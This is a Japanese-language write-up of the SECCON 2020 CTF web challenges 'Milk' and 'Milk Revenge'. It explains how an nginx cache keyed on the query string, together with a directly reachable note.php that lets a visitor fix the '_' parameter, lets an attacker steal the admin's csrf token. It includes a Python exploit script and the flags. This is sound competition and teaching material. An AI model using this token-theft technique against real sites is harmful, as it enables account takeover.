SECCON 2020 OnlineCTF - Milk & Milk Revenge Writeup
今年も会社のチームでSECCON CTFに参加しました。MilkとMilk Revengeを同じ解き方でといたのでWiteupをかく。
チラッと他の人のwriteupを見たらCSPを使ってcsrf tokenの利用を防ぐっぽいことをしているっぽかったが、そういうことをせずに解けてしまった。
問題の概要としては以下の通り。
- ユーザー登録と登録したユーザーでログインできるサイトが提供される
- このサイトはログインすると自分にしか見れない秘密のメモ(note)を投稿することができる
- サイトのadminしか見られない領域にflagが存在し、これを入手するのが目標
解き方
セッション管理
問題のソースコードが渡されるので見てみると、このWebサイトはPHPで動いているフロントエンドサーバーとDenoで動いているAPIサーバーで構成されているということがわかる。また、これらのサーバーの前にnginxがリバプロとして動いているということもわかる。さらに、「管理者に報告」機能がありadminに指定したURLヘアクセスさせることができることもわかる。
このサイトの特徴的な部分として、APIサーバーにおけるユーザー認証処理が挙げられる。
通常であればCookieのセッションキーからユーザーの認証状態を把握すると思うが、このAPIサーバーは例えばnoteの投稿時には以下の処理によりユーザー認証を行う。
- ユーザーが投稿ボタンを押下する
- ブラウザがAPIサーバーからcsrf tokenを取得する(この際、Cookieにはサーバーにより署名(正確にはHMAC-SHA256)されたユーザー名が含まれる)
- APIサーバーはCookieの署名を検証し、問題なければユーザー名に紐づいたcsrf tokenを発行する
- ブラウザは受け取ったcsrf tokenと投稿内容をAPIサーバーに送信する
- APIサーバーはcsrf tokenから紐づくユーザー名を取得し、投稿内容とユーザー名を紐付けてデータベース に保存する
上記からわかるように、adminに紐づくcsrf tokenを手に入れることさえできればCookieがなくともAPIサーバーにadminとして認識され、adminしか見られない領域にあるflagの入手が可能となる。
キャッシュ
nginx.conf
を見ると以下の設定により、APIサーバーからの200 OK
の応答を1分間キャッシュするということがわかる。
location / { proxy_pass http://api:8000; proxy_read_timeout 5s; proxy_cache one; proxy_cache_valid 200 1m; }
nginxのドキュメントModule ngx_http_proxy_moduleによるとキャッシュのキーは次の通りである。
proxy_cache_key $scheme$proxy_host$uri$is_args$args;
これを見るとcsrf tokenを取得するurl(https://milk-api.chal.seccon.jp/csrf-token
)にアクセスすれば誰かのキャッシュされたcsrf tokenを取り放題のように思えるが実際にはブラウザがcsrf tokenを取得する際にはjQueryがクエリ文字列として_=12345678901234
のような値を後ろにつけるので、この値がわからないとcsrf tokenを盗むことができない。逆にいうと、adminがcsrf tokenを取得した際のURLがクエリ文字列を含めてわかればcsrf tokenを入手し、adminとしてサイトの操作が可能となる。
_
の固定方法
前述の通り、adminがcsrf tokenを取得する際の_
の部分の値を知ることができたらadminとしてサイトの操作が可能となる。_
の生成の大半はjQueryによってクライアントサイドで行われるが、唯一の例外としてnote.php
においてnote閲覧する際の処理がある。note.php
を見ると、リクエストのクエリ文字列の_
がcsrf token取得の_
として利用されることがわかる。
<script src=https://milk-api.chal.seccon.jp/csrf-token?_=<?= htmlspecialchars(preg_replace('/\d/', '', $_GET['_'])) ?> defer></script>
ここで一旦、note閲覧時の処理を整理する。
- ユーザーが
https://milk.chal.seccon.jp/notes/{NOTEID}
にアクセスする - nginxは内部的にリクエストを
https://milk.chal.seccon.jp/note.php?id={NOTEID}&_={RAND}
に書き換える(RAND
はnginxにより生成される) - フロントエンドサーバーは
<script src=https://milk-api.chal.seccon.jp/csrf-token?_={RAND} defer></script>
を含むhtmlを返す - ブラウザは
https://milk-api.chal.seccon.jp/csrf-token?_={RAND}
からcsrf tokenを取得する - ブラウザはcsrf tokenとURLに含まれるNOTEIDをAPIサーバーに送信する
- APIサーバーはcsrf tokenによってユーザーを識別し、noteの内容を返す
なお、2. の処理は次のnginx.conf
の設定によって行われる。
location ~ ^/notes/(?<id>.+) { set_secure_random_lcalpha $res 32; try_files $uri /note.php?id=$id&_=$res; }
ここで2.のURLは内部リクエストの指定がないため、外部から直接アクセスすることができてしまう。つまり、例えばhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAA
のようなURLにアクセスすると、結果としてhttps://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAA
からcsrf tokenを取得するというように外部からcsrf token取得の際の_
の値を操作することが可能となる。
adminのcsrf tokenの窃取
前述の方法を組み合わせることによりadminのcsrf tokenの窃取が可能となる。
具体的には、adminにhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAA
にアクセスさせればhttps://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAA
からcsrf tokenを取得したということがわかる。https://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAA
の内容はnginxに1分間キャッシュされるので、https://milk-api.chal.seccon.jp/csrf-token?_=AAAAAAAAAAAAAAA
にアクセスすることによりadminのcsrf tokenが取得できる。
あとは取得したcsrf tokenを使ってhttps://milk-api.chal.seccon.jp/notes/flag?token={CSRF TOKEN}
に即座にリクエストすればflagが手に入る。
実際に解いてみる
import requests csrfkey = "long-random-string" sess = requests.Session() resp = sess.post( "https://milk.chal.seccon.jp/report", data={ "url": f"https://milk.chal.seccon.jp/note.php?id=5f8194640060b4e000e5f735&_={csrfkey}" }, ) print(resp.text) while True: resp = sess.get(f"https://milk-api.chal.seccon.jp/csrf-token?_={csrfkey}") print(resp.text) if "Referer header is not set" not in resp.text: token = resp.text[19:-2] print(token) break resp = sess.get( f"https://milk-api.chal.seccon.jp/notes/flag?token={token}", headers={"Referer": "https://milk.chal.seccon.jp/"}, ) print(resp.text)
なお、csrf tokenは一度使われると無効になり、実際にadminがhttps://milk.chal.seccon.jp/note.php?id={NOTEID}&_=AAAAAAAAAAAAAAA
でcsrf tokenを取得した直後に使われることになるが、上記スクリプトではどうやらadminのリクエストよりも先にcsrf tokenを使えているようで問題なくflagを入手することができた。
SECCON{I_am_heavily_concerning_about_unintended_sols_so_I_dont_put_any_spoiler_here_but_anyway_congrats!}
Milk Revengeもリクエスト先のURLを変えれば同じスクリプトで解くことができた。
SECCON{Okay_there_was_actually_unintended_solution_as_I_intended_blahblah}